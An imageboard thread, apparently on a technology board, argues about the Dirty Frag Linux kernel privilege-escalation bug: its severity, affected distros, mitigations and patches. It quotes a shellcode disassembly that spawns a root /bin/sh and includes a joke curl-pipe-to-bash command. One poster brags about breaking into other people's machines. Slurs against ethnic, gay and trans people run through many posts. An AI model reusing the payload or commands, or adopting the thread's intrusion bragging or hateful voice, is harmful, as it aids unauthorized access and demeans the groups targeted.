>>108774689
>How many more will we suffer?
Literally nothing happened

>bend the knee to rust trannies
>bend the knee to AI jeets
>Linux becomes less safe than Windows

>>108774689
ai slop

 * Code (from offset 0x78):
 *   31 ff               xor edi, edi
 *   31 f6               xor esi, esi
 *   31 c0               xor eax, eax
 *   b0 6a               mov al, 0x6a              ; setgid
 *   0f 05               syscall
 *   b0 69               mov al, 0x69              ; setuid
 *   0f 05               syscall
 *   b0 74               mov al, 0x74              ; setgroups
 *   0f 05               syscall
 *   6a 00               push 0                    ; envp[1] = NULL
 *   48 8d 05 12 00 00 00 lea rax, [rip+0x12]      ; rax = "TERM=xterm"
 *   50                  push rax                  ; envp[0]
 *   48 89 e2            mov rdx, rsp              ; rdx = envp
 *   48 8d 3d 12 00 00 00 lea rdi, [rip+0x12]      ; rdi = "/bin/sh"
 *   31 f6               xor esi, esi              ; rsi = NULL (argv)
 *   6a 3b 58            push 0x3b ; pop rax       ; rax = 59 (execve)
 *   0f 05               syscall                   ; execve("/bin/sh",NULL,envp)
 *   "TERM=xterm\0"      (offset 0xa5..0xaf)
 *   "/bin/sh\0"         (offset 0xb0..0xb7)

>I use Linux because it's more secure than Windo-ACK

>>108774710
Rust trannies warned you this would happen.
AI Jeets are just finding these.

what is your next cope?

>>108774776
if you have physical access to the hardware or in a position to RCE you have bigger problems than someone rooting it.

>>108774689
>wow, another nothing burger

how many of these were reported this week?

>>108774864
>get root from any process/shell
>nothing burger
this is just the easiest reaching thing you can do with it.

Linuxsisters... we're gonna need better deflections than this...

File: socialscore.jpg (42 KB, 736x414)

42 KB JPG

>>108774689
- OpenBSD
- Microkernels, such as Genode/Sculpture, SeL4, NOVA
- VMs

all of the above - e.g. VMs on NOVA microkernel/vmhost, running OpenBSDs

>>108775323
when the jeets get tired of Linux they'll do the BSDs next
only closed source operating systems like Windows are truly secure

File: social-credit.jpg (45 KB, 974x545)

45 KB JPG

>>108775463
>only closed source operating systems like Windows are truly secure

>>108775527
in what world is proprietary software communism?

>>108775536
>in what world is proprietary software communism?
it's about totalitarianism
more commonly known as the glowing.jpg

File: 1778148236391079.mp4 (410 KB, 560x848)

410 KB MP4

Linux'tards should create some syscall to get memory page size, i cannot afford tinkering about their /proc filesystems, memory isnt a file, retards

>>108775633
>memory isnt a file, retards

say that in person and see what happens asshole. It's all just persistence anyway.

>>108774818
>privilege escalation is not a big deal!

File: Screenshot_20260508_093431.png (25 KB, 401x137)

25 KB PNG

another "doesn't work™" jeetploit

>>108775547
foss dev is like 80% glowniggers 20% spergs to retarded to notice though

*too

>>108776734
This is what I got on Android (last updated 2022)
What OS and version did you try it on?

>>108776783
It's my distro, 7.0.3 kernel

>GrapheneOS isn't vulnerable to the 3 recently disclosed Linux kernel vulnerabilities named Copy Fail, Copy Fail 2 and Dirty Frag. Current Android Open Source Project SELinux policies block exploiting all 3 bugs. Standard AOSP GKI kernel configuration also has 2/3 of the vulnerable features disabled.
That's it I'm switching. I assume Qubes is rather invulnerable, anyone know if secureblue is vulnerable?

File: screenshot-2026-05-08_07:57:28.png (199 KB, 1162x197)

199 KB PNG

Okay, but why?

>>108776443
Yeah it's not a big deal

>>108777325
Okay it's because of
# CONFIG_INET_ESP is not set
and whatever shit shits out rxrpc.ko. I wish these rockstar exploiters would just plainly state which dumb kernel config is responsible for these things.

>>108777343
># CONFIG_INET_ESP is not set
why is this shit enabled on most distros?

File: file.png (205 KB, 600x600)

205 KB PNG

>>108774689
No such problem in OpenBSD and FreeBSD

>>108774689
See >>108777257

>>108776734
>>108777325
I got same error on Tumbleweed. Fake vulnerability vibecoded by V4bel zoomer

>>108777607
>Tumbleweed
B-but
>This Dirty Frag has been tested on the following distribution versions.
>openSUSE Tumbleweed: 7.0.2-1-default

File: 1659838641229.png (521 KB, 900x925)

521 KB PNG

>>108774689
>another """vulnerability""" that has lots of prerequisites and needs local access to do anything
Is all security discourse going to be used for propaganda now? Fucking wintoddlers and fucking shills.
>>108775323
>>108777433
Aaaaand shilling!
I am not interested in buying what you're selling.
/unsubscribe

>>108777748
Yes but not in standard installation. That faggot did changed something in his system, because it do not work here

File: apu-watching-ants.jpg (56 KB, 600x500)

56 KB JPG

>>108774689
Weird how all those exploits are post 2017.
So basically, when Linus had his change of mind, apologized for being rude and adopted the CoC.

>>108776991
Switching to what?
Ordinary Android isn't vulnerable. Phonefags don't need to worry here.
Google doesn't want you to root your phone and escape their spyware, so they don't include those NSA backdoors (but instead run backdoors via their own infrastructure).

Why are such threads always used by idiotic low-iq shills to advertise crap?

>>108777821
Did you read my comment? The point was that properly configured kernel configs and SELinux policies entirely eliminates the problem.
Hence, supposedly default Fedora is vulnerable but is secureblue (essentially a customised Fedora) also vulnerable.

>>108777829
>secureblue
It's a fedora fork and their "hardening" is sysctl settings and similar. They aren't going to divert from RHEL / Fedora SELinux policies.

If you want to be save of such exploits, the best bet is to compile your own kernel and disable everything you don't need. Which is what everybody did 15 years ago.
All those exploits are in fringe modules nobody uses and the first recommended mitigation method is to rmmod the modules.

>>108777868
>They aren't going to divert from RHEL / Fedora SELinux policies.
They added this SELinux policy in response to Copy Fail.
https://github.com/secureblue/secureblue/commit/240bb
And they disabled the IPsec modules in response to Dirty Frag.
https://github.com/secureblue/secureblue/commit/f9139e6

>>108777868
>their "hardening" is sysctl settings
Sure, and porting vanadium and hardened_malloc
>They aren't going to divert from RHEL / Fedora SELinux policies.
Already have
>Use SELinux to block all userspace processes from accessing the kernel crypto API, a source of substantial attack surface.
Though even they admit that most of the config is to avoid compiling their own kernel.

The biggest reason to flock to a public project like that is that as a hobbyist I'm sure to miss something on my own or enabling something problematic because e.g. iwd requires the kernel crypto api and I'm not aware ahead of time the past history.

>>108774710
The exploit is in the C code lol

File: vlcsnap-2026-05-08-11h17m04s.png (333 KB, 2122x1801)

333 KB PNG

>>108777920
So they were vulnerable and applied the recommended mitigation after the disclosure.
What you get is a faster response time and quicker fix, i guess?
It makes them stick out, especially because RedHat fumbled here today and tells their corpo customers that they should run software as ordinary user to mitigate an exploit that allows an ordinary user to gain root :^)

The only way to not have not been vulnerable in the first place, was to run your own kernel.
Distributions aren't going to disable IPSec and even they will re-enable it once a patch is out. IPSec is important for corpos.

File: disappoint.png (53 KB, 470x523)

53 KB PNG

The entire security model of a Windows is about ALLOWING privilege escalation, where any program run by any user can effectively do anything; the staggering quantity of viruses on Windows is not solely the result of the operating system's popularity. Meanwhile on Linux, any time a security vulnerability is discovered, it always has a complicated trigger condition and gets patched out before hackers even have time to create and spread software intended to exploit the vulnerability. Yet retards on /g/ with Stockholm Syndrome think this is somehow a win for Hindus 11, it's pathetic.

File: 1692494451753753.jpg (52 KB, 500x511)

52 KB JPG

>>108777999
>retards on /g/ with Stockholm Syndrome
It's shills, all shills.
Like literally indians paid to shit on Linux on /g/ with Windows spam, it wasn't like this just few years ago.

>>108777999
Trips of truth

>>108777920
So are they going to disable all the other backdoor kernel modules no one uses now?

>>108777966
They can just load a module on demand from their precious systemd unit files.

>>108777999
I ignore those retards in threads i care about.
In other threads, where i think that there are newfags around, you may fall for them, i might have fun shitting on them. But here itt, where it's an interesting subject and anons will have knowledge about it, i ignore their vomit.

Shilling Winshit in a thread about a privilege-escalation-exploit is probably the dumbest thing Winshit shills did this month....
Not a single person on this world is going to install Satya Nadellas Microsoft Windows, or avoid switching away from it, because a local user on Linux could use an exploit to do what any local user on Windows can by default.

>>108777999
>where any program run by any user can effectively do anything
straight up lying lol, obviously not used Windows since before Vista

>>108776758
>foss dev is like 80% glowniggers 20% spergs to retarded to notice though
try harder, glower

>>108778090
a lot of win32 functions take a security descriptor, so if you can mint a valid one for <other user> you can do what he said.

you linux guys lost.
I'll be using michaelsoft window which deletes every funny file I download in an attempt to baby me

Reminder that the faggot behind these "dirty frag" threads is a tech-retarded macfag who spams this meme to defend their overpriced corpo spyware goy-toy.

>>108778606
>if you can LPE then you can take advantage of it
Gee thanks anon. Do you have a 20 line snippet of code to make one of these privileged security descriptors without prompting the user?

Sir, a second exploit has hit the Linux Kernel

Windows privilege escalation:
>UAC: this is a virus you shouldn't run it. continue?
>user: YESYESYES NEVER ASK AGAIN!!!!!!

>>108779516
You don't need to pop up UAC for admin permissions on Windows. Although it's far easier to just let the user click yes, since they will.

>>108774710
>>108774808
Rust's complex safety features would not have prevented this bug and exploit.

>>108779516
meanwhile on linux:
>su curl nsa.gov/virus.sh | bash

one letter away from the catastrophe speedreader bros, what are we gonna do

File: file.png (624 KB, 1398x943)

624 KB PNG

>Linux Mint is also affected
Yikes

File: Screenshot_20260508_225624.png (887 KB, 916x697)

887 KB PNG

>>108774689
aaand it's patched
don't you love open source, oh we have zero day because someone broke the embargo and leaked the exploit poc, just unload and block these 3 modules and you're good, within hours almalinux patch their kernel and others follow suit, less than a day even the mainline got patched
same thing happen to proprietary OS and you're at the mercy of corporate overlord if they care enough

File: 1738358454286947.png (230 KB, 640x904)

230 KB PNG

>dirtyfrag: failed (rc=1)
Gentoo wins again. Literally none of the exploits over the past decades worked on my machine.

>>108779894
That's not how you use su, even if it were sudo it wouldn't run the script with root permissions.

>>108779626
>nocoder

>>108779913
OWO

I'm glad Linux is getting all these security issues, they have been boasting about not being Microslop while they have a huge amount issues from not being properly orchestrated with distro and desktop fragmentation causing a lack of developer attention to issues.

Expect more Linux exploits, to the point where we will need a Y2K systematic review of all the code. Even Mozilla takes years to fix bugs and Firefox has more market share than desktop Linux.

so how do i patch this

>>108774689
>LPE
Well, there is a new acronym on me. Nowhere in the thread is it stated what LPE stands for. Nowhere in the linked content does it say, either.

Fortunately, Google search engine has us all covered, and now I can say what it is. It means Language Proficiency Exam. So I guess as long as I do not intend to take that exam, the kernel part of my current Linux install is safe as houses.

Good to know, Op. Thanks a bunch. Good job. +like.

>>108780940
It means large penis explosion

>>108780940
local priv escalation
orange reddit was saying this is apparently standard security terminology but nobody outside of their autistic sphere has ever heard of it

>>108781165
Maybe its a glowfag term.
Orange reddit is Silicon Valley glowfag retards.
The whole "supply chain attack" terminology came from there as well. The term already existed before, but the glowfag adjacent retards turned every single infostealer script kiddy into a "hostile foreign actor" attacking their supply chain. Don't ask them whether or not we should care about "hostile domestic actors", though. They don't like that!

File: 1778185486174488.png (1.37 MB, 1110x1347)

1.37 MB PNG

>>108774689

>>108774689
if the error is so dangerous then why you expert securitards didn't find it earlier?

>>108781204
it's just root access

>>108777788
do you really hope they will find some over-decade-old exploits so they can prove you wrong?

File: 1750373955051031.png (656 KB, 640x636)

656 KB PNG

>>108777999
Oh shoot two of a kind

File: CVE-2026-43284.png (97 KB, 1213x586)

97 KB PNG

>>108780013
It's not patched in Debian 12. Only Debian 13 and 11 have patches as of this post.

more like DirtyFag
LOL

>>108774818
>if you have physical access to the hardware or in a position to RCE you have bigger problems than someone rooting it.

npm install

that's all you need, because the npm repo is already a tire fire of exploits waiting to run locally on your system

>all those damage controlling retards not realising that local privilege escalation does not need physical access
you just need someone else to run your code on their machine, you know how easy it is nowadays with retards blindly pulling from dockerhub, pip, npm literally thousands of packages that are out of scope for standard distro repos? You can have super duper hardened RHEL PayPigGoy ™ Edition and yet all it takes is for Rakesh maintaining your favourite python big data library to pull tainted dependency

File: Untitled.png (79 KB, 1322x340)

79 KB PNG

Still not fixed the exploit on Linux Mint

This is the first one that actually works on my machine. I want to try it on other people's machines but I haven't had much luck getting into them. I am rusty.

>mfs can't imagine a scenario in which someone can hax but not have root
>a scenario in which their access may be extremely limited to begin with

So far my skid adventures have been a little underwhelming. Seeing other people's shitty php shells and deleting them is funny though.

>>108784521
in a shitty network managed by rakeesh you can probably do as much damage without escalation in the first place

File: 1768553934362433.jpg (85 KB, 504x527)

85 KB JPG

Wish me luck bros cause I'm losing my fucking mind here